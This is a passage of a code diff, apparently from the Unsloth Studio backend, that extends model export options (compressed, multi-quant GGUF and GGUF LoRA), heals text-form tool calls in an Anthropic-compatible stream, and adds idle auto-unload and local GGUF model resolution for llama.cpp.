logger.warning(f"llm-compressor-main shadow unavailable: {e}")
if _shadow_pp:
os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp
else:
# No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its
# transformers ceiling, so fail fast for sidecar models; default-tier still works.
os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None)
_exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling()
if _exceeds:
return (
False,
"FP8/FP4 compressed-tensors export is not available for this model: it "
f"runs under transformers {_tf_ver}, but the installed llm-compressor "
f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the "
"llm-compressor-main runtime could not be provisioned (offline or "
"UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.",
None,
)
try:
info = _us._normalize_compressed_method(compressed_alias)
except Exception as e:
return False, f"Unsupported compressed export '{compressed_alias}': {e}", None
if info is None:
return (
False,
f"'{compressed_alias}' is not a recognized compressed-tensors export.",
None,
)
compressed_suffix = info[2]
if _IS_MLX:
mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
elif is_compressed or is_torchao:
save_method = compressed_alias
elif format_type == "4-bit (FP4)":
save_method = "merged_4bit_forced"
elif self._audio_type == "whisper":
save_method = None
else:
if format_type == "4-bit (FP4)":
save_method = "merged_4bit_forced"
elif self._audio_type == "whisper":
save_method = None
else:
save_method = "merged_16bit"
save_method = "merged_16bit"
if save_directory:
save_directory = str(resolve_export_write_dir(save_directory))
@ -427,9 +603,15 @@ class ExportBackend:
save_directory, self.current_tokenizer, save_method = save_method
)
self._write_export_metadata(save_directory)
logger.info(f"Model saved successfully to {save_directory}")
output_path = str(Path(save_directory).resolve())
# Compressed / torchao writes to the "<dir>-<suffix>" sibling; report that as output.
final_dir = (
f"{save_directory}-{compressed_suffix}"
if (is_compressed or is_torchao)
else save_directory
)
self._write_export_metadata(final_dir)
logger.info(f"Model saved successfully to {final_dir}")
output_path = str(Path(final_dir).resolve())
if push_to_hub:
if not repo_id or not hf_token:
@ -464,6 +646,31 @@ class ExportBackend:
token = hf_token,
private = private,
)
elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():
# Already built in output_path; upload it directly instead of re-running the
# expensive quantization that push_to_hub_merged(save_method=...) would redo.
hf_api = HfApi(token = hf_token)
repo_id = PushToHubMixin._create_repo(
PushToHubMixin,
repo_id = repo_id,
private = private,
token = hf_token,
)
content = MODEL_CARD.format(
username = repo_id.split("/")[0],
base_model = getattr(self.current_model.config, "_name_or_path", "unknown"),
model_type = getattr(self.current_model.config, "model_type", "llm"),
method = compressed_alias or format_type,
extra = "unsloth",
)
ModelCard(content).push_to_hub(
repo_id, token = hf_token, commit_message = "Unsloth Model Card"
)
hf_api.upload_folder(
folder_path = output_path,
repo_id = repo_id,
repo_type = "model",
)
else:
hub_save_method = save_method if save_method is not None else "merged_16bit"
self.current_model.push_to_hub_merged(
@ -499,6 +706,8 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
@ -617,17 +826,20 @@ class ExportBackend:
def export_gguf(
self,
save_directory: str,
quantization_method: str = "Q4_K_M",
quantization_method = "Q4_K_M",
push_to_hub: bool = False,
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
imatrix_file = None,
) -> Tuple[bool, str, Optional[str]]:
"""
Export model in GGUF format.
Args:
save_directory: Local directory to save model
quantization_method: GGUF quantization method (e.g., "Q4_K_M")
quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them
(e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single
model load (unsloth save_to_gguf loops internally).
push_to_hub: Whether to push to Hugging Face Hub
repo_id: Hub repository ID
hf_token: Hugging Face token
@ -635,14 +847,35 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
# Only forward imatrix_file to an unsloth build that accepts it, else older builds raise
# an unexpected-keyword error even for a plain no-imatrix export.
if imatrix_file is not None and not _supports_kwarg(
self.current_model.save_pretrained_gguf, "imatrix_file"
):
return (
False,
"This Unsloth build does not support GGUF imatrix export. "
"Upgrade unsloth and unsloth_zoo, or disable the imatrix option.",
None,
)
imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}
output_path: Optional[str] = None
model_tmp_to_cleanup: Optional[str] = None
try:
# unsloth expects lowercase quant method
quant_method = quantization_method.lower()
# Normalize to a lowercased list so multiple quants come from one model load.
if isinstance(quantization_method, (list, tuple)):
quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()]
else:
quant_methods = [str(quantization_method).lower()]
if not quant_methods:
quant_methods = ["q4_k_m"]
quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0]
# Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it
# can't drift past the pinned llama-quantize binary's gguf API.
@ -691,6 +924,7 @@ class ExportBackend:
_model_tmp,
self.current_tokenizer,
quantization_method = quant_method,
**imatrix_kw,
)
# Relocate the .gguf that convert_to_gguf wrote to cwd (repo root).
@ -757,12 +991,13 @@ class ExportBackend:
self.current_tokenizer,
quantization_method = quant_method,
token = hf_token,
**imatrix_kw,
)
logger.info(f"GGUF model pushed successfully to {repo_id}")
return (
True,
f"GGUF model exported successfully ({quantization_method})",
f"GGUF model exported successfully ({', '.join(quant_methods)})",
output_path,
)
@ -782,19 +1017,56 @@ class ExportBackend:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
gguf: bool = False,
gguf_outtype: str = "q8_0",
) -> Tuple[bool, str, Optional[str]]:
"""
Export LoRA adapter only (not merged).
Args:
gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp
convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.
gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32.
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
if not self.is_peft:
return False, "This is not a PEFT model. No adapter to export.", None
_GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32")
if gguf:
if _IS_MLX:
return (
False,
"GGUF LoRA adapter export is not supported on macOS/MLX. "
"Use the safetensors adapter instead.",
None,
)
outtype = str(gguf_outtype).lower()
if outtype not in _GGUF_LORA_OUTTYPES:
return (
False,
f"Invalid GGUF LoRA outtype '{gguf_outtype}'. "
f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.",
None,
)
# getattr so an older build without save_pretrained_gguf returns a clean message
# instead of an AttributeError (a generic 500).
_save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None)
if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"):
return (
False,
"This Unsloth build does not support GGUF LoRA adapter export. "
"Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.",
None,
)
output_path: Optional[str] = None
try:
if save_directory:
@ -802,7 +1074,24 @@ class ExportBackend:
logger.info(f"Saving LoRA adapter locally to: {save_directory}")
ensure_dir(Path(save_directory))
if _IS_MLX:
if gguf:
# Writes the adapter files plus "<base>-lora-<outtype>.gguf".
_apply_wsl_sudo_patch()
self.current_model.save_pretrained_gguf(
save_directory,
self.current_tokenizer,
save_method = "lora",
quantization_method = outtype,
# Forward the token so convert_lora_to_gguf.py can fetch a gated base's config.
token = hf_token or None,
)
final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf")))
logger.info(
"LoRA GGUF export complete. Files in %s:\n %s",
save_directory,
"\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)",
)
elif _IS_MLX:
# MLX: save adapters.safetensors + tokenizer files
self.current_model.save_lora_adapters(save_directory)
self.current_tokenizer.save_pretrained(save_directory)
@ -822,7 +1111,24 @@ class ExportBackend:
logger.info(f"Pushing LoRA adapter to Hub: {repo_id}")
if _IS_MLX:
if gguf:
# Upload the locally-built GGUF folder; needs a local save_directory so the
# conversion is not re-run.
if not (output_path and Path(output_path).is_dir()):
return (
False,
"GGUF LoRA Hub upload requires a local save directory; set one and "
"retry.",
None,
)
hf_api = HfApi(token = hf_token)
hf_api.create_repo(repo_id, private = private, exist_ok = True)
hf_api.upload_folder(
folder_path = output_path,
repo_id = repo_id,
repo_type = "model",
)
elif _IS_MLX:
with tempfile.TemporaryDirectory() as tmp_dir:
self.current_model.save_lora_adapters(tmp_dir)
self.current_tokenizer.save_pretrained(tmp_dir)

20
studio/backend/core/export/orchestrator.py
View file

@ -456,6 +456,7 @@ class ExportOrchestrator:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
compressed_method: Optional[str] = None,
) -> Tuple[bool, str, Optional[str]]:
"""Export merged PEFT model."""
return self._run_export(
@ -467,6 +468,7 @@ class ExportOrchestrator:
"repo_id": repo_id,
"hf_token": hf_token,
"private": private,
"compressed_method": compressed_method,
},
)
@ -495,12 +497,13 @@ class ExportOrchestrator:
def export_gguf(
self,
save_directory: str,
quantization_method: str = "Q4_K_M",
quantization_method = "Q4_K_M",
push_to_hub: bool = False,
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
imatrix_file = None,
) -> Tuple[bool, str, Optional[str]]:
"""Export model in GGUF format."""
"""Export model in GGUF format. `quantization_method` may be a single method or a list."""
return self._run_export(
"gguf",
{
@ -509,6 +512,7 @@ class ExportOrchestrator:
"push_to_hub": push_to_hub,
"repo_id": repo_id,
"hf_token": hf_token,
"imatrix_file": imatrix_file,
},
)
@ -519,8 +523,10 @@ class ExportOrchestrator:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
gguf: bool = False,
gguf_outtype: str = "q8_0",
) -> Tuple[bool, str, Optional[str]]:
"""Export LoRA adapter only."""
"""Export LoRA adapter only (optionally also as a GGUF LoRA file)."""
return self._run_export(
"lora",
{
@ -529,6 +535,8 @@ class ExportOrchestrator:
"repo_id": repo_id,
"hf_token": hf_token,
"private": private,
"gguf": gguf,
"gguf_outtype": gguf_outtype,
},
)
@ -555,9 +563,13 @@ class ExportOrchestrator:
cmd = {"type": "export", "export_type": export_type, **params}
try:
self._send_cmd(cmd)
# GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them
# all in one op off a single merge, so scale the timeout by the quant count.
_qm = params.get("quantization_method")
_n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1
resp = self._wait_response(
f"export_{export_type}_done",
timeout = 3600, # GGUF for 30B+ models can take 30+ min
timeout = 3600 * max(1, _n),
)
op_success = resp.get("success", False)
op_message = resp.get("message", "")

4
studio/backend/core/export/worker.py
View file

@ -397,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
private = cmd.get("private", False),
compressed_method = cmd.get("compressed_method"),
)
elif export_type == "base":
success, message, output_path = backend.export_base_model(
@ -414,6 +415,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
push_to_hub = cmd.get("push_to_hub", False),
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
imatrix_file = cmd.get("imatrix_file"),
)
elif export_type == "lora":
success, message, output_path = backend.export_lora_adapter(
@ -422,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
private = cmd.get("private", False),
gguf = cmd.get("gguf", False),
gguf_outtype = cmd.get("gguf_outtype", "q8_0"),
)
else:
success, message = False, f"Unknown export type: {export_type}"

147
studio/backend/core/inference/anthropic_compat.py
View file

@ -494,6 +494,29 @@ class AnthropicPassthroughEmitter:
self._usage: dict = {}
self._stop_reason: str = "end_turn"
self._stop_sequence: Optional[str] = None
# Optional text-form tool-call healing (client-tool passthrough only).
self._healer = None
self._healed_tool_use = False
self._healed_call_count = 0
self._heal_disable_parallel = False
def enable_healing(
self,
allowed_tools: set,
tools: Optional[list] = None,
*,
disable_parallel_tool_use: bool = False,
) -> None:
"""Promote text-form tool calls in streamed content to tool_use blocks.
Only calls naming a tool in ``allowed_tools`` (the client's declared
tools) are promoted; everything else streams as text exactly as before.
Never enabled for Studio's own tool loop.
"""
from core.inference.passthrough_healing import StreamToolCallHealer
self._healer = StreamToolCallHealer(allowed_tools, tools)
self._heal_disable_parallel = disable_parallel_tool_use
def start(
self,
@ -542,29 +565,42 @@ class AnthropicPassthroughEmitter:
delta = choice.get("delta") or {}
finish_reason = choice.get("finish_reason")
# ── Structured tool calls take precedence over healing ──
# Grammar mode worked: flush anything the healer held (it preceded the
# call in the model's output) and relay verbatim from here on.
if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant:
for kind, value in self._healer.structured_tool_call_seen():
if kind == "text" and value:
events.extend(self._emit_text_delta(value))
# ── Text content ──
content = delta.get("content")
if content:
if self._current_block_type != "text":
if self._current_block_type is not None:
events.append(self._close_current_block())
events.extend(self._open_text_block())
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {"type": "text_delta", "text": content},
},
)
)
if content and self._healer is not None and not self._healer.dormant:
# Route text through the healer: held/promoted portions become
# synthetic tool_use blocks, the rest streams as text unchanged.
for kind, value in self._healer.feed(content):
if kind == "text":
events.extend(self._emit_text_delta(value))
else:
events.extend(self._emit_healed_tool_use(value))
elif content:
events.extend(self._emit_text_delta(content))
# ── Tool calls (streaming deltas) ──
tool_calls = delta.get("tool_calls") or []
for tc in tool_calls:
tc_idx = tc.get("index", 0)
fn = tc.get("function") or {}
if (
self._heal_disable_parallel
and tc_idx not in self._tool_call_states
and (self._healed_call_count + len(self._tool_call_states)) >= 1
):
# disable_parallel_tool_use: a healed call already consumed the
# single allowed slot. The caller's chunk-level cap only sees
# native indexes, so drop this native call (and its later
# argument deltas, which never allocate a state either).
continue
if tc_idx not in self._tool_call_states:
# New tool call — close prior block, open tool_use block
if self._current_block_type is not None:
@ -618,6 +654,17 @@ class AnthropicPassthroughEmitter:
def finish(self) -> list[str]:
events: list[str] = []
if self._healer is not None:
# Last-chance heal of any held residue (e.g. an unclosed tool block).
for kind, value in self._healer.finalize():
if kind == "text" and value:
events.extend(self._emit_text_delta(value))
elif kind == "tool_call":
events.extend(self._emit_healed_tool_use(value))
if self._healed_tool_use and self._stop_reason != "max_tokens":
# A promoted call must stop for tool use; a truncation still wins
# (its arguments may be incomplete).
self._stop_reason = "tool_use"
if self._current_block_type is not None:
events.append(self._close_current_block())
events.append(
@ -641,6 +688,76 @@ class AnthropicPassthroughEmitter:
)
return events
def _emit_text_delta(self, content: str) -> list[str]:
events: list[str] = []
if self._current_block_type != "text":
if self._current_block_type is not None:
events.append(self._close_current_block())
events.extend(self._open_text_block())
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {"type": "text_delta", "text": content},
},
)
)
return events
def _emit_healed_tool_use(self, call: dict) -> list[str]:
# A healed call arrives complete, so its tool_use block opens, carries
# one input_json_delta, and closes immediately; an open text block is
# closed first (only the safe prefix ever streamed into it).
if (
self._heal_disable_parallel
and (self._healed_call_count + len(self._tool_call_states)) >= 1
):
# Healed and native calls share the single allowed slot.
return []
events: list[str] = []
if self._current_block_type is not None:
events.append(self._close_current_block())
function = call.get("function") or {}
tool_id = anthropic_tool_use_id("")
self.block_index += 1
self._current_block_type = "tool_use"
events.append(
build_anthropic_sse_event(
"content_block_start",
{
"type": "content_block_start",
"index": self.block_index,
"content_block": {
"type": "tool_use",
"id": tool_id,
"name": function.get("name", ""),
"input": {},
},
},
)
)
arguments = function.get("arguments") or ""
if arguments:
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {
"type": "input_json_delta",
"partial_json": arguments,
},
},
)
)
events.append(self._close_current_block())
self._healed_tool_use = True
self._healed_call_count += 1
return events
def _open_text_block(self) -> list[str]:
self.block_index += 1
self._current_block_type = "text"

8
studio/backend/core/inference/external_provider.py
View file

@ -771,11 +771,9 @@ class ExternalProviderClient:
self.base_url = self.base_url[: -len("/openai")]
self.api_key = api_key
self._timeout = httpx.Timeout(timeout, connect = 10.0)
# Disable read timeout on SSE streams: reasoning-heavy models pause
# tens of seconds between bytes while thinking, and httpx's read
# timeout is the per-byte gap, not wall clock. connect/write bounds
# still surface real network failures.
self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = None)
# Generous per-byte read timeout: reasoning models pause tens of seconds
# between bytes, but a dead upstream must eventually error, not hang forever.
self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = 300.0)
def _auth_headers(self) -> dict[str, str]:
"""Build authentication headers using the provider's registry config."""

743
studio/backend/core/inference/llama_cpp.py
View file

File diff suppressed because it is too large Load diff

6
studio/backend/core/inference/llama_http.py
View file

@ -22,11 +22,7 @@ _LIMITS = httpx.Limits(max_connections = 64, max_keepalive_connections = 32)
def _new_client() -> httpx.AsyncClient:
try:
return httpx.AsyncClient(limits = _LIMITS)
except Exception:
# Mirror external_provider: an unsupported env proxy scheme can raise.
return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
# One client per running event loop: an httpx client binds its transport to the

298
studio/backend/core/inference/llama_keepwarm.py Normal file
View file

@ -0,0 +1,298 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model.
Off by default (idle seconds = 0). When enabled, a background loop unloads the
loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A
pure-ASGI middleware tracks in-flight inference requests so a long stream that
outlives the TTL is never unloaded mid-response.
"""
from __future__ import annotations
import asyncio
import contextlib
import threading
import time
from loggers import get_logger
logger = get_logger(__name__)
_lock = threading.Lock()
_inflight = 0
# Requests blocked on the unload gate but not yet counted in _inflight: the idle
# loop must not unload while one is waiting (it would unload out from under it).
_pending = 0
_last_active = time.monotonic()
# The (id, quant) idle-unload last freed, so an alias/unknown request that would
# otherwise 503 against an empty backend can reload it (set on unload, cleared on
# reload). Storing the quant means the reload restores the exact freed variant.
_last_unloaded_model = None
# Guards inflight bumps against the idle-check-then-unload race, and blocks new
# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is
# shared across every event loop in the process, so a per-loop gate would let a
# request on loop B start inference while a swap on loop A tears the model down.
_lifecycle_lock = threading.Lock()
@contextlib.asynccontextmanager
async def _unload_gate():
# Acquire off the loop: non-blocking first (the common uncontended case), else
# poll a non-blocking acquire off a short sleep. Polling keeps the wait off this
# loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is
# not held, so it never leaks (mirrors the auto-switch swap gate).
while not _lifecycle_lock.acquire(blocking = False):
await asyncio.sleep(0.02)
try:
yield
finally:
_lifecycle_lock.release()
_INFERENCE_PREFIXES = ("/v1/", "/api/inference/")
_INFERENCE_SUFFIXES = (
"/chat/completions",
"/completions",
"/messages",
"/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages
"/embeddings",
"/responses",
"/generate/stream", # Studio's own streaming route on the same llama-server
"/audio/generate", # direct GGUF TTS; can outlive the idle TTL
)
def _is_inference_path(path: str) -> bool:
if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES):
return True
# Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the
# chat handler and streams from the same backend, so protect it from idle unload.
return path.startswith("/p/") and path.endswith("/v1/chat/completions")
def _note_pending() -> None:
global _pending
with _lock:
_pending += 1
def _note_unpending() -> None:
global _pending
with _lock:
_pending = max(0, _pending - 1)
def _note_start() -> None:
# Do not stamp _last_active here: while _inflight > 0 the model is already
# protected (see _is_idle), and stamping on start lets an external-provider
# request that is later untracked still reset the local idle timer.
global _inflight, _pending
with _lock:
_pending = max(0, _pending - 1)
_inflight += 1
def _note_end() -> None:
global _inflight, _last_active
with _lock:
_inflight = max(0, _inflight - 1)
_last_active = time.monotonic()
def _note_untracked_end() -> None:
# Drop a request that never used the local GGUF without stamping local
# activity, so periodic external-provider traffic can't keep the model warm.
global _inflight
with _lock:
_inflight = max(0, _inflight - 1)
def _is_idle(ttl_seconds: float) -> bool:
with _lock:
return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds
def _note_activity() -> None:
"""Stamp activity, e.g. on a (re)load, so the model survives at least one TTL."""
global _last_active
with _lock:
_last_active = time.monotonic()
def other_inference_request_count(
current_request_counted: bool = True, *, include_pending: bool = True
) -> int:
"""Tracked inference requests other than the current route call.
The middleware counts OpenAI-compatible requests before route code runs, so
the caller is excluded by default. Idle-unload counts pending waiters too (a
swap holding the gate would unload out from under them). The swap guard passes
include_pending=False: a pending request is blocked in the middleware and has
not started inference, so it can't be the request a swap would interrupt.
"""
with _lock:
active = _inflight
if current_request_counted and active > 0:
active -= 1
return max(0, active) + (_pending if include_pending else 0)
# Set on the ASGI scope by a route that proved this request won't touch
# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count
# excludes it and the middleware skips its own end-decrement.
_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked"
def untrack_current_request(scope) -> None:
"""Drop this request from the in-flight count once the route knows it won't
use the local GGUF, so unrelated external-provider traffic can't trip the
swap busy guard. Idempotent; the middleware then skips its end-decrement."""
if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY):
return
scope[_UNTRACKED_SCOPE_KEY] = True
_note_untracked_end()
def inference_lifecycle_gate():
"""The gate a model swap holds so new inference can't start mid-load. Process-
wide, so a swap on one loop blocks inference starting on any other loop."""
return _unload_gate()
def note_model_loaded() -> None:
"""Record a successful GGUF load: stamp activity and drop any reload stash so
a manual load clears it synchronously, not only on the next idle poll."""
_note_activity()
_set_last_unloaded(None)
def note_model_unloaded() -> None:
"""Record a deliberate (user/API) unload: drop any idle reload stash so the next
request can't resurrect the just-unloaded model. The idle loop unloads via the
backend directly and then stashes the freed model for an alias reload; an
explicit unload instead means "stay unloaded", so it must not stamp activity."""
_set_last_unloaded(None)
def get_last_unloaded_model():
with _lock:
return _last_unloaded_model
def _set_last_unloaded(value) -> None:
global _last_unloaded_model
with _lock:
_last_unloaded_model = value
class LlamaKeepWarmMiddleware:
"""Pure ASGI: count in-flight inference requests and stamp activity on completion."""
def __init__(self, app):
self.app = app
async def __call__(self, scope, receive, send):
# Inference endpoints are all POST; skipping non-POST avoids counting CORS
# preflight (OPTIONS). ``or ""`` guards an explicit None path.
if (
scope.get("type") != "http"
or scope.get("method") != "POST"
or not _is_inference_path(scope.get("path") or "")
):
await self.app(scope, receive, send)
return
# Always track in-flight on inference paths, even when the feature is off,
# so a stream that starts before idle-unload is enabled can't be unloaded
# mid-response if the operator turns it on during that stream. Counting is
# cheap and invisible to clients (the response is proxied unchanged).
# Mark pending before the gate so the idle loop (which holds the gate while
# unloading) can't free the model while this request is waiting to start.
_note_pending()
started = False
try:
async with _unload_gate():
_note_start()
started = True
finally:
if not started:
_note_unpending()
ended = {"done": False}
status = {"code": None}
def _finish() -> None:
# A route that untracked itself already decremented; don't double-count.
if ended["done"]:
return
ended["done"] = True
if scope.get(_UNTRACKED_SCOPE_KEY):
return
# This middleware runs before FastAPI auth, so a 401/403 reaches here
# without ever touching llama.cpp. Decrement the in-flight count (to
# balance _note_start) but do NOT stamp activity, or repeated
# unauthenticated probes on an exposed server would keep the model warm
# and never let idle-unload free VRAM.
if status["code"] in (401, 403):
_note_untracked_end()
else:
_note_end()
async def send_wrapper(message):
if message.get("type") == "http.response.start":
status["code"] = message.get("status")
# Final body frame marks the end of a (possibly streaming) response.
elif message.get("type") == "http.response.body" and not message.get(
"more_body", False
):
_finish()
await send(message)
try:
await self.app(scope, receive, send_wrapper)
finally:
_finish()
def _loaded_identity(backend):
if not backend.is_loaded or not backend.model_identifier:
return None
# Third slot is the advertised id (repo id) an auto-switch load sets on the
# backend; it's the override key, so an idle stash keyed by the concrete load
# path doesn't drop the user's saved launch flags on the alias reload.
advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier
return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised)
async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
"""Unload the loaded GGUF once idle past the configured TTL. Inert when off."""
from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds
seen_model = None
while True:
await asyncio.sleep(poll_seconds)
try:
ttl = get_auto_unload_idle_seconds()
if ttl <= 0:
continue
from routes.inference import get_llama_cpp_backend
backend = get_llama_cpp_backend()
# Track by (id, variant): a (re)loaded model -- including the same repo
# at a different quant -- counts as activity so it survives one TTL
# before its first request (loads bypass the activity middleware).
current = _loaded_identity(backend)
if current != seen_model:
seen_model = current
if current is not None:
_note_activity()
_set_last_unloaded(None) # a model is loaded; drop stale stash
async with _unload_gate():
if backend.is_loaded and _is_idle(ttl):
freed = _loaded_identity(backend)
await asyncio.to_thread(backend.unload_model)
_set_last_unloaded(freed) # let an alias request reload it
logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl)
seen_model = None
except Exception as exc:
logger.debug("idle_unload_loop iteration failed: %s", exc)

5
studio/backend/core/inference/llama_server_args.py
View file

@ -25,6 +25,11 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = (
# Model identity: Studio resolves it from LoadRequest; a second -m would
# load a different model than Studio thinks it loaded.
frozenset({"-m", "--model"}),
# Public model id: Studio sets a sanitized --alias so the OpenAI API never
# exposes the local .gguf path. A user-supplied alias is appended after
# Studio's and, with llama.cpp's last-wins parsing, would reintroduce the
# path leak this is meant to prevent.
frozenset({"-a", "--alias"}),
frozenset({"-mu", "--model-url"}),
frozenset({"-dr", "--docker-repo"}),
frozenset({"-hf", "-hfr", "--hf-repo"}),

269
studio/backend/core/inference/local_model_resolver.py Normal file
View file

@ -0,0 +1,269 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF.
Used by the opt-in auto-switch path. The match is conservative: only names
that map to an already-downloaded local GGUF (and a quant that is actually on
disk) are eligible, so an arbitrary OpenAI model string still falls through to
the loaded model (drop-in compat) and no surprise multi-GB download is ever
triggered. The local-model scan is cached for a few seconds since auto-switch
consults it per request.
"""
from __future__ import annotations
import threading
import time
from dataclasses import dataclass
from typing import Optional
from core.inference.model_ids import public_model_id
from loggers import get_logger
logger = get_logger(__name__)
@dataclass(frozen = True)
class _LocalGgufEntry:
loader_id: str # advertised id (repo id / folder name), also the override key
load_path: str # concrete on-disk dir/file passed to /load so it never downloads
variants: tuple[str, ...] # local quant labels; () for a standalone .gguf
_CACHE_TTL_S = 5.0
_lock = threading.Lock()
_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {})
def _is_abs_path_id(value: str) -> bool:
"""True when an id is an absolute filesystem path (the ./models and LM Studio
scanners use the on-disk path as the id) rather than a repo id like org/name."""
from pathlib import Path
try:
return Path(value).is_absolute()
except Exception:
return False
def _advertised_loader_id(info) -> Optional[str]:
"""The id to advertise for a scanned model: prefer a client-facing alias over
an absolute filesystem path so /v1/models and the override key never expose a
host path (the ./models and LM Studio scanners report the path as info.id)."""
raw_id = getattr(info, "id", None)
if not raw_id or not _is_abs_path_id(raw_id):
return raw_id
for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)):
if alt and not _is_abs_path_id(alt):
return alt
# No clean alias: strip to a path-free public id so a host path is never advertised.
return public_model_id(raw_id) or raw_id
def _resolve_load_dir(p):
"""The concrete dir holding the GGUFs. For an HF cache repo (``models--*``
with ``snapshots/``) this is the latest snapshot dir, so /load takes the
local branch instead of the download-capable repo-id branch."""
from pathlib import Path
try:
if (p / "snapshots").is_dir():
from routes.models import _resolve_hf_cache_realpath
real = _resolve_hf_cache_realpath(p)
if real:
return Path(real)
except Exception:
pass
return p
def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]:
"""Build an entry only when GGUF quants are on disk (not Transformers/
safetensors), listing only on-disk quants. ``load_path`` is a concrete local
path so /load resolves the variant locally and never fetches a remote one."""
from pathlib import Path
from utils.models.model_config import _is_mmproj, list_local_gguf_variants
path = getattr(info, "path", None)
if not isinstance(path, str):
return None
p = Path(path)
try:
if p.is_file():
# A standalone .gguf loads by its own path; no quant sub-selection. An
# mmproj companion (vision/audio projector) is not a servable model on
# its own: _scan_models_dir's standalone-file pass does not filter it
# the way the directory scan does, so reject it here or /v1/models would
# advertise a projector and a switch could load it instead of the weights,
# evicting the loaded model. The directory branch below is already mmproj
# free (list_local_gguf_variants drops mmproj quants).
if p.suffix.lower() != ".gguf" or _is_mmproj(p.name):
return None
return _LocalGgufEntry(loader_id, str(p), ())
load_dir = _resolve_load_dir(p)
variants, _ = list_local_gguf_variants(str(load_dir))
quants = tuple(v.quant for v in variants if getattr(v, "quant", None))
return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None
except Exception:
return None
def info_has_local_gguf(info) -> bool:
"""True when *info* (a LocalModelInfo) points to on-disk GGUF weights the
auto-switch path can load. Read from the files, not ``info.model_format``: the
HF-cache scanner leaves model_format unset for GGUF snapshots, so a
